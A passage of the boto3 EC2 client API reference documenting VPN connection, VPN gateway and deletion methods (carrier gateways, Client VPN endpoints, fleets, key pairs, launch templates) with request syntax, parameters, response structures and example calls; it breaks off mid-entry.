VPN connection performs an IKE rekey. + + * **RekeyFuzzPercentage** _(integer) --_ + + The percentage of the rekey window determined by RekeyMarginTimeSeconds during which the rekey time is randomly selected. + + * **ReplayWindowSize** _(integer) --_ + + The number of packets in an IKE replay window. + + * **DpdTimeoutSeconds** _(integer) --_ + + The number of seconds after which a DPD timeout occurs. + + * **DpdTimeoutAction** _(string) --_ + + The action to take after a DPD timeout occurs. + + * **Phase1EncryptionAlgorithms** _(list) --_ + + The permitted encryption algorithms for the VPN tunnel for phase 1 IKE negotiations. + + * _(dict) --_ + + The encryption algorithm for phase 1 IKE negotiations. + + * **Value** _(string) --_ + + The value for the encryption algorithm. + + * **Phase2EncryptionAlgorithms** _(list) --_ + + The permitted encryption algorithms for the VPN tunnel for phase 2 IKE negotiations. + + * _(dict) --_ + + The encryption algorithm for phase 2 IKE negotiations. + + * **Value** _(string) --_ + + The encryption algorithm. + + * **Phase1IntegrityAlgorithms** _(list) --_ + + The permitted integrity algorithms for the VPN tunnel for phase 1 IKE negotiations. + + * _(dict) --_ + + The integrity algorithm for phase 1 IKE negotiations. + + * **Value** _(string) --_ + + The value for the integrity algorithm. + + * **Phase2IntegrityAlgorithms** _(list) --_ + + The permitted integrity algorithms for the VPN tunnel for phase 2 IKE negotiations. + + * _(dict) --_ + + The integrity algorithm for phase 2 IKE negotiations. + + * **Value** _(string) --_ + + The integrity algorithm. + + * **Phase1DHGroupNumbers** _(list) --_ + + The permitted Diffie-Hellman group numbers for the VPN tunnel for phase 1 IKE negotiations. + + * _(dict) --_ + + The Diffie-Hellmann group number for phase 1 IKE negotiations. + + * **Value** _(integer) --_ + + The Diffie-Hellmann group number. + + * **Phase2DHGroupNumbers** _(list) --_ + + The permitted Diffie-Hellman group numbers for the VPN tunnel for phase 2 IKE negotiations. + + * _(dict) --_ + + The Diffie-Hellmann group number for phase 2 IKE negotiations. + + * **Value** _(integer) --_ + + The Diffie-Hellmann group number. + + * **IkeVersions** _(list) --_ + + The IKE versions that are permitted for the VPN tunnel. + + * _(dict) --_ + + The internet key exchange (IKE) version permitted for the VPN tunnel. + + * **Value** _(string) --_ + + The IKE version. + + * **StartupAction** _(string) --_ + + The action to take when the establishing the VPN tunnels for a VPN connection. + + * **Routes** _(list) --_ + + The static routes associated with the VPN connection. + + * _(dict) --_ + + Describes a static route for a VPN connection. + + * **DestinationCidrBlock** _(string) --_ + + The CIDR block associated with the local subnet of the customer data center. + + * **Source** _(string) --_ + + Indicates how the routes were provided. + + * **State** _(string) --_ + + The current state of the static route. + + * **Tags** _(list) --_ + + Any tags assigned to the VPN connection. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **VgwTelemetry** _(list) --_ + + Information about the VPN tunnel. + + * _(dict) --_ + + Describes telemetry for a VPN tunnel. + + * **AcceptedRouteCount** _(integer) --_ + + The number of accepted routes. + + * **LastStatusChange** _(datetime) --_ + + The date and time of the last change in status. + + * **OutsideIpAddress** _(string) --_ + + The Internet-routable IP address of the virtual private gateway's outside interface. + + * **Status** _(string) --_ + + The status of the VPN tunnel. + + * **StatusMessage** _(string) --_ + + If an error occurs, a description of the error. + + * **CertificateArn** _(string) --_ + + The Amazon Resource Name (ARN) of the VPN tunnel endpoint certificate. + + +create_vpn_connection_route(kwargs_) + +Creates a static route associated with a VPN connection between an existing virtual private gateway and a VPN customer gateway. The static route allows traffic to be routed from the virtual private gateway to the VPN customer gateway. + +For more information, see [AWS Site-to-Site VPN](https://docs.aws.amazon.com/vpn/latest/s2svpn/VPC_VPN.html) in the _AWS Site-to-Site VPN User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateVpnConnectionRoute) + +**Request Syntax** + +response = client.create_vpn_connection_route( + DestinationCidrBlock='string', + VpnConnectionId='string' +) + +Parameters + +* **DestinationCidrBlock** (_string_) -- + + **[REQUIRED]** + + The CIDR block associated with the local subnet of the customer network. + +* **VpnConnectionId** (_string_) -- + + **[REQUIRED]** + + The ID of the VPN connection. + + +Returns + +None + +create_vpn_gateway(kwargs_) + +Creates a virtual private gateway. A virtual private gateway is the endpoint on the VPC side of your VPN connection. You can create a virtual private gateway before creating the VPC itself. + +For more information, see [AWS Site-to-Site VPN](https://docs.aws.amazon.com/vpn/latest/s2svpn/VPC_VPN.html) in the _AWS Site-to-Site VPN User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateVpnGateway) + +**Request Syntax** + +response = client.create_vpn_gateway( + AvailabilityZone='string', + Type='ipsec.1', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + AmazonSideAsn=123, + DryRun=True|False +) + +Parameters + +* **AvailabilityZone** (_string_) -- The Availability Zone for the virtual private gateway. +* **Type** (_string_) -- + + **[REQUIRED]** + + The type of VPN connection this virtual private gateway supports. + +* **TagSpecifications** (_list_) -- + + The tags to apply to the virtual private gateway. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id282)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id284)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +* **AmazonSideAsn** (_integer_) -- + + A private Autonomous System Number (ASN) for the Amazon side of a BGP session. If you're using a 16-bit ASN, it must be in the 64512 to 65534 range. If you're using a 32-bit ASN, it must be in the 4200000000 to 4294967294 range. + + Default: 64512 + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'VpnGateway': { + 'AvailabilityZone': 'string', + 'State': 'pending'|'available'|'deleting'|'deleted', + 'Type': 'ipsec.1', + 'VpcAttachments': [ + { + 'State': 'attaching'|'attached'|'detaching'|'detached', + 'VpcId': 'string' + }, + ], + 'VpnGatewayId': 'string', + 'AmazonSideAsn': 123, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + } +} + +**Response Structure** + +* _(dict) --_ + + Contains the output of CreateVpnGateway. + + * **VpnGateway** _(dict) --_ + + Information about the virtual private gateway. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone where the virtual private gateway was created, if applicable. This field may be empty or not returned. + + * **State** _(string) --_ + + The current state of the virtual private gateway. + + * **Type** _(string) --_ + + The type of VPN connection the virtual private gateway supports. + + * **VpcAttachments** _(list) --_ + + Any VPCs attached to the virtual private gateway. + + * _(dict) --_ + + Describes an attachment between a virtual private gateway and a VPC. + + * **State** _(string) --_ + + The current state of the attachment. + + * **VpcId** _(string) --_ + + The ID of the VPC. + + * **VpnGatewayId** _(string) --_ + + The ID of the virtual private gateway. + + * **AmazonSideAsn** _(integer) --_ + + The private Autonomous System Number (ASN) for the Amazon side of a BGP session. + + * **Tags** _(list) --_ + + Any tags assigned to the virtual private gateway. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +delete_carrier_gateway(kwargs_) + +Deletes a carrier gateway. + +Warning + +If you do not delete the route that contains the carrier gateway as the Target, the route is a blackhole route. For information about how to delete a route, see [DeleteRoute](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DeleteRoute.html) . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteCarrierGateway) + +**Request Syntax** + +response = client.delete_carrier_gateway( + CarrierGatewayId='string', + DryRun=True|False +) + +Parameters + +* **CarrierGatewayId** (_string_) -- + + **[REQUIRED]** + + The ID of the carrier gateway. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'CarrierGateway': { + 'CarrierGatewayId': 'string', + 'VpcId': 'string', + 'State': 'pending'|'available'|'deleting'|'deleted', + 'OwnerId': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + } +} + +**Response Structure** + +* _(dict) --_ + + * **CarrierGateway** _(dict) --_ + + Information about the carrier gateway. + + * **CarrierGatewayId** _(string) --_ + + The ID of the carrier gateway. + + * **VpcId** _(string) --_ + + The ID of the VPC associated with the carrier gateway. + + * **State** _(string) --_ + + The state of the carrier gateway. + + * **OwnerId** _(string) --_ + + The AWS account ID of the owner of the carrier gateway. + + * **Tags** _(list) --_ + + The tags assigned to the carrier gateway. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +delete_client_vpn_endpoint(kwargs_) + +Deletes the specified Client VPN endpoint. You must disassociate all target networks before you can delete a Client VPN endpoint. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteClientVpnEndpoint) + +**Request Syntax** + +response = client.delete_client_vpn_endpoint( + ClientVpnEndpointId='string', + DryRun=True|False +) + +Parameters + +* **ClientVpnEndpointId** (_string_) -- + + **[REQUIRED]** + + The ID of the Client VPN to be deleted. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Status': { + 'Code': 'pending-associate'|'available'|'deleting'|'deleted', + 'Message': 'string' + } +} + +**Response Structure** + +* _(dict) --_ + + * **Status** _(dict) --_ + + The current state of the Client VPN endpoint. + + * **Code** _(string) --_ + + The state of the Client VPN endpoint. Possible states include: + + * pending-associate - The Client VPN endpoint has been created but no target networks have been associated. The Client VPN endpoint cannot accept connections. + * available - The Client VPN endpoint has been created and a target network has been associated. The Client VPN endpoint can accept connections. + * deleting - The Client VPN endpoint is being deleted. The Client VPN endpoint cannot accept connections. + * deleted - The Client VPN endpoint has been deleted. The Client VPN endpoint cannot accept connections. + * **Message** _(string) --_ + + A message about the status of the Client VPN endpoint. + + +delete_client_vpn_route(kwargs_) + +Deletes a route from a Client VPN endpoint. You can only delete routes that you manually added using the **CreateClientVpnRoute** action. You cannot delete routes that were automatically added when associating a subnet. To remove routes that have been automatically added, disassociate the target subnet from the Client VPN endpoint. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteClientVpnRoute) + +**Request Syntax** + +response = client.delete_client_vpn_route( + ClientVpnEndpointId='string', + TargetVpcSubnetId='string', + DestinationCidrBlock='string', + DryRun=True|False +) + +Parameters + +* **ClientVpnEndpointId** (_string_) -- + + **[REQUIRED]** + + The ID of the Client VPN endpoint from which the route is to be deleted. + +* **TargetVpcSubnetId** (_string_) -- The ID of the target subnet used by the route. +* **DestinationCidrBlock** (_string_) -- + + **[REQUIRED]** + + The IPv4 address range, in CIDR notation, of the route to be deleted. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Status': { + 'Code': 'creating'|'active'|'failed'|'deleting', + 'Message': 'string' + } +} + +**Response Structure** + +* _(dict) --_ + + * **Status** _(dict) --_ + + The current state of the route. + + * **Code** _(string) --_ + + The state of the Client VPN endpoint route. + + * **Message** _(string) --_ + + A message about the status of the Client VPN endpoint route, if applicable. + + +delete_customer_gateway(kwargs_) + +Deletes the specified customer gateway. You must delete the VPN connection before you can delete the customer gateway. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteCustomerGateway) + +**Request Syntax** + +response = client.delete_customer_gateway( + CustomerGatewayId='string', + DryRun=True|False +) + +Parameters + +* **CustomerGatewayId** (_string_) -- + + **[REQUIRED]** + + The ID of the customer gateway. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +**Examples** + +This example deletes the specified customer gateway. + +response = client.delete_customer_gateway( + CustomerGatewayId='cgw-0e11f167', +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +delete_dhcp_options(kwargs_) + +Deletes the specified set of DHCP options. You must disassociate the set of DHCP options before you can delete it. You can disassociate the set of DHCP options by associating either a new set of options or the default set of options with the VPC. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteDhcpOptions) + +**Request Syntax** + +response = client.delete_dhcp_options( + DhcpOptionsId='string', + DryRun=True|False +) + +Parameters + +* **DhcpOptionsId** (_string_) -- + + **[REQUIRED]** + + The ID of the DHCP options set. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +**Examples** + +This example deletes the specified DHCP options set. + +response = client.delete_dhcp_options( + DhcpOptionsId='dopt-d9070ebb', +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +delete_egress_only_internet_gateway(kwargs_) + +Deletes an egress-only internet gateway. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteEgressOnlyInternetGateway) + +**Request Syntax** + +response = client.delete_egress_only_internet_gateway( + DryRun=True|False, + EgressOnlyInternetGatewayId='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **EgressOnlyInternetGatewayId** (_string_) -- + + **[REQUIRED]** + + The ID of the egress-only internet gateway. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ReturnCode': True|False +} + +**Response Structure** + +* _(dict) --_ + + * **ReturnCode** _(boolean) --_ + + Returns true if the request succeeds; otherwise, it returns an error. + + +delete_fleets(kwargs_) + +Deletes the specified EC2 Fleet. + +After you delete an EC2 Fleet, it launches no new instances. + +You must specify whether a deleted EC2 Fleet should also terminate its instances. If you choose to terminate the instances, the EC2 Fleet enters the deleted_terminating state. Otherwise, the EC2 Fleet enters the deleted_running state, and the instances continue to run until they are interrupted or you terminate them manually. + +For instant fleets, EC2 Fleet must terminate the instances when the fleet is deleted. A deleted instant fleet with running instances is not supported. + +> **Restrictions** + +* You can delete up to 25 instant fleets in a single request. If you exceed this number, no instant fleets are deleted and an error is returned. There is no restriction on the number of fleets of type maintain or request that can be deleted in a single request. +* Up to 1000 instances can be terminated in a single request to delete instant fleets. + +For more information, see [Deleting an EC2 Fleet](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/manage-ec2-fleet.html#delete-fleet) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteFleets) + +**Request Syntax** + +response = client.delete_fleets( + DryRun=True|False, + FleetIds=[ + 'string', + ], + TerminateInstances=True|False +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **FleetIds** (_list_) -- + + **[REQUIRED]** + + The IDs of the EC2 Fleets. + + * _(string) --_ +* **TerminateInstances** (_boolean_) -- + + **[REQUIRED]** + + Indicates whether to terminate the instances when the EC2 Fleet is deleted. The default is to terminate the instances. + + To let the instances continue to run after the EC2 Fleet is deleted, specify NoTerminateInstances . Supported only for fleets of type maintain and request . + + For instant fleets, you cannot specify NoTerminateInstances . A deleted instant fleet with running instances is not supported. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'SuccessfulFleetDeletions': [ + { + 'CurrentFleetState': 'submitted'|'active'|'deleted'|'failed'|'deleted_running'|'deleted_terminating'|'modifying', + 'PreviousFleetState': 'submitted'|'active'|'deleted'|'failed'|'deleted_running'|'deleted_terminating'|'modifying', + 'FleetId': 'string' + }, + ], + 'UnsuccessfulFleetDeletions': [ + { + 'Error': { + 'Code': 'fleetIdDoesNotExist'|'fleetIdMalformed'|'fleetNotInDeletableState'|'unexpectedError', + 'Message': 'string' + }, + 'FleetId': 'string' + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **SuccessfulFleetDeletions** _(list) --_ + + Information about the EC2 Fleets that are successfully deleted. + + * _(dict) --_ + + Describes an EC2 Fleet that was successfully deleted. + + * **CurrentFleetState** _(string) --_ + + The current state of the EC2 Fleet. + + * **PreviousFleetState** _(string) --_ + + The previous state of the EC2 Fleet. + + * **FleetId** _(string) --_ + + The ID of the EC2 Fleet. + + * **UnsuccessfulFleetDeletions** _(list) --_ + + Information about the EC2 Fleets that are not successfully deleted. + + * _(dict) --_ + + Describes an EC2 Fleet that was not successfully deleted. + + * **Error** _(dict) --_ + + The error. + + * **Code** _(string) --_ + + The error code. + + * **Message** _(string) --_ + + The description for the error code. + + * **FleetId** _(string) --_ + + The ID of the EC2 Fleet. + + +delete_flow_logs(kwargs_) + +Deletes one or more flow logs. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteFlowLogs) + +**Request Syntax** + +response = client.delete_flow_logs( + DryRun=True|False, + FlowLogIds=[ + 'string', + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **FlowLogIds** (_list_) -- + + **[REQUIRED]** + + One or more flow log IDs. + + Constraint: Maximum of 1000 flow log IDs. + + * _(string) --_ + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Unsuccessful': [ + { + 'Error': { + 'Code': 'string', + 'Message': 'string' + }, + 'ResourceId': 'string' + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **Unsuccessful** _(list) --_ + + Information about the flow logs that could not be deleted successfully. + + * _(dict) --_ + + Information about items that were not successfully processed in a batch call. + + * **Error** _(dict) --_ + + Information about the error. + + * **Code** _(string) --_ + + The error code. + + * **Message** _(string) --_ + + The error message accompanying the error code. + + * **ResourceId** _(string) --_ + + The ID of the resource. + + +delete_fpga_image(kwargs_) + +Deletes the specified Amazon FPGA Image (AFI). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteFpgaImage) + +**Request Syntax** + +response = client.delete_fpga_image( + DryRun=True|False, + FpgaImageId='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **FpgaImageId** (_string_) -- + + **[REQUIRED]** + + The ID of the AFI. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +* _(dict) --_ + + * **Return** _(boolean) --_ + + Is true if the request succeeds, and an error otherwise. + + +delete_internet_gateway(kwargs_) + +Deletes the specified internet gateway. You must detach the internet gateway from the VPC before you can delete it. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteInternetGateway) + +**Request Syntax** + +response = client.delete_internet_gateway( + DryRun=True|False, + InternetGatewayId='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **InternetGatewayId** (_string_) -- + + **[REQUIRED]** + + The ID of the internet gateway. + + +Returns + +None + +**Examples** + +This example deletes the specified Internet gateway. + +response = client.delete_internet_gateway( + InternetGatewayId='igw-c0a643a9', +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +delete_key_pair(kwargs_) + +Deletes the specified key pair, by removing the public key from Amazon EC2. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteKeyPair) + +**Request Syntax** + +response = client.delete_key_pair( + KeyName='string', + KeyPairId='string', + DryRun=True|False +) + +Parameters + +* **KeyName** (_string_) -- The name of the key pair. +* **KeyPairId** (_string_) -- The ID of the key pair. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +**Examples** + +This example deletes the specified key pair. + +response = client.delete_key_pair( + KeyName='my-key-pair', +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +delete_launch_template(kwargs_) + +Deletes a launch template. Deleting a launch template deletes all of its versions. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteLaunchTemplate) + +**Request Syntax** + +response = client.delete_launch_template( + DryRun=True|False, + LaunchTemplateId='string', + LaunchTemplateName='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **LaunchTemplateId** (_string_) -- The ID of the launch template. You must specify either the launch template ID or launch template name in the request. +* **LaunchTemplateName** (_string_) -- The name of the launch template. You must specify either the launch template ID or launch template name in the request. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'LaunchTemplate': { + 'LaunchTemplateId': 'string', + 'LaunchTemplateName': 'string', + 'CreateTime': datetime(2015, 1, 1), + 'CreatedBy': 'string', + 'DefaultVersionNumber': 123, + 'LatestVersionNumber': 123, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + } +} + +**Response Structure** + +* _(dict) --_ + + * **LaunchTemplate** _(dict) --_ + + Information about the launch template. + + * **LaunchTemplateId** _(string) --_ + + The ID of the launch template. + + * **LaunchTemplateName** _(string) --_ + + The name of the launch template. + + * **CreateTime** _(datetime) --_ + + The time launch template was created. + + * **CreatedBy** _(string) --_ + + The principal that created the launch template. + + * **DefaultVersionNumber** _(integer) --_ + + The version number of the default version of the launch template. + + * **LatestVersionNumber** _(integer) --_ + + The version number of the latest version of the launch template. + + * **Tags** _(list) --_ + + The tags for the launch template. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +**Examples** + +This example deletes the specified launch template. + +response = client.delete_launch_template( + LaunchTemplateId='lt-0abcd290751193123', +) + +print(response) + +Expected Output: + +{ + 'LaunchTemplate': { + 'CreateTime': datetime(2017, 11, 23, 16, 46, 25, 3, 327, 0), + 'CreatedBy': 'arn:aws:iam::123456789012:root', + 'DefaultVersionNumber': 2, + 'LatestVersionNumber': 2, + 'LaunchTemplateId': 'lt-0abcd290751193123', + 'LaunchTemplateName': 'my-template', + }, + 'ResponseMetadata': { + '...': '...', + }, +} + +delete_launch_template_versions(kwargs_) + +Deletes one or more versions of a launch template. You cannot delete the default version of a launch template; you must first assign a different version as the default. If the default version is the only version for the launch template, you must delete the entire launch template using DeleteLaunchTemplate . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteLaunchTemplateVersions) + +**Request Syntax** + +response = client.delete_launch_template_versions( + DryRun=True|False, + LaunchTemplateId='string', + LaunchTemplateName='string', + Versions=[ + 'string', + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **LaunchTemplateId** (_string_) -- The ID of the launch template. You must specify either the launch template ID or launch template name in the request. +* **LaunchTemplateName** (_string_) -- The name of the launch template. You must specify either the launch template ID or launch template name in the request. +* **Versions** (_list_) -- + + **[REQUIRED]** + + The version numbers of one or more launch template versions to delete. + + * _(string) --_ + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'SuccessfullyDeletedLaunchTemplateVersions': [ + { + 'LaunchTemplateId': 'string', + 'LaunchTemplateName': 'string', + 'VersionNumber': 123 + }, + ], + 'UnsuccessfullyDeletedLaunchTemplateVersions': [ + { + 'LaunchTemplateId': 'string', + 'LaunchTemplateName': 'string', + 'VersionNumber': 123, + 'ResponseError': { + 'Code': 'launchTemplateIdDoesNotExist'|'launchTemplateIdMalformed'|'launchTemplateNameDoesNotExist'|'launchTemplateNameMalformed'|'launchTemplateVersionDoesNotExist'|'unexpectedError', + 'Message': 'string' + } + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **SuccessfullyDeletedLaunchTemplateVersions** _(list) --_ + + Information about the launch template versions that were successfully deleted. + + * _(dict) --_ + + Describes a launch template version that was successfully deleted. + + * **LaunchTemplateId** _(string) --_ + + The ID of the launch template. + + * **LaunchTemplateName** _(string) --_ + + The name of the launch template. + + * **VersionNumber** _(integer) --_ + + The version number of the launch template. + + * **UnsuccessfullyDeletedLaunchTemplateVersions** _(list) --_ + + Information about the launch template versions that could not be deleted. + + * _(dict) --_ + + Describes a launch template version that could not be deleted. + + * **LaunchTemplateId** _(string) --_ + + The ID of the launch template. + + * **LaunchTemplateName** _(string) --_ + + The name of the launch template. + + * **VersionNumber** _(integer) --_ + + The version number of the launch template. + + * **ResponseError** _(dict) --_ + + Information about the error. + + * **Code** _(string) --_ + + The error code. + + * **Message** _(string) --_ + + The error message, if applicable. + + +**Examples** + +This example deletes the specified launch template version. + +response = client.delete_launch_template_versions( + LaunchTemplateId='lt-0abcd290751193123', + Versions=[ + '1', + ], +) + +print(response) + +Expected Output: + +{ + 'SuccessfullyDeletedLaunchTemplateVersions': [ + { + 'LaunchTemplateId': 'lt-0abcd290751193123', + 'LaunchTemplateName': 'my-template', + 'VersionNumber': 1, + }, + ], + 'UnsuccessfullyDeletedLaunchTemplateVersions': [ + ], + 'ResponseMetadata': { + '...': '...', + }, +} + +delete_local_gateway_route(kwargs_) + +Deletes the specified route from the specified local gateway route table. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteLocalGatewayRoute) + +**Request Syntax** + +response = client.delete_local_gateway_route( + DestinationCidrBlock='string', + LocalGatewayRouteTableId='string', + DryRun=True|False +) + +Parameters + +* **DestinationCidrBlock** (_string_) -- + + **[REQUIRED]** + + The CIDR range for the route. This must match the CIDR for the route exactly. + +* **LocalGatewayRouteTableId** (_string_) -- + + **[REQUIRED]** + + The ID of the local gateway route table. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ 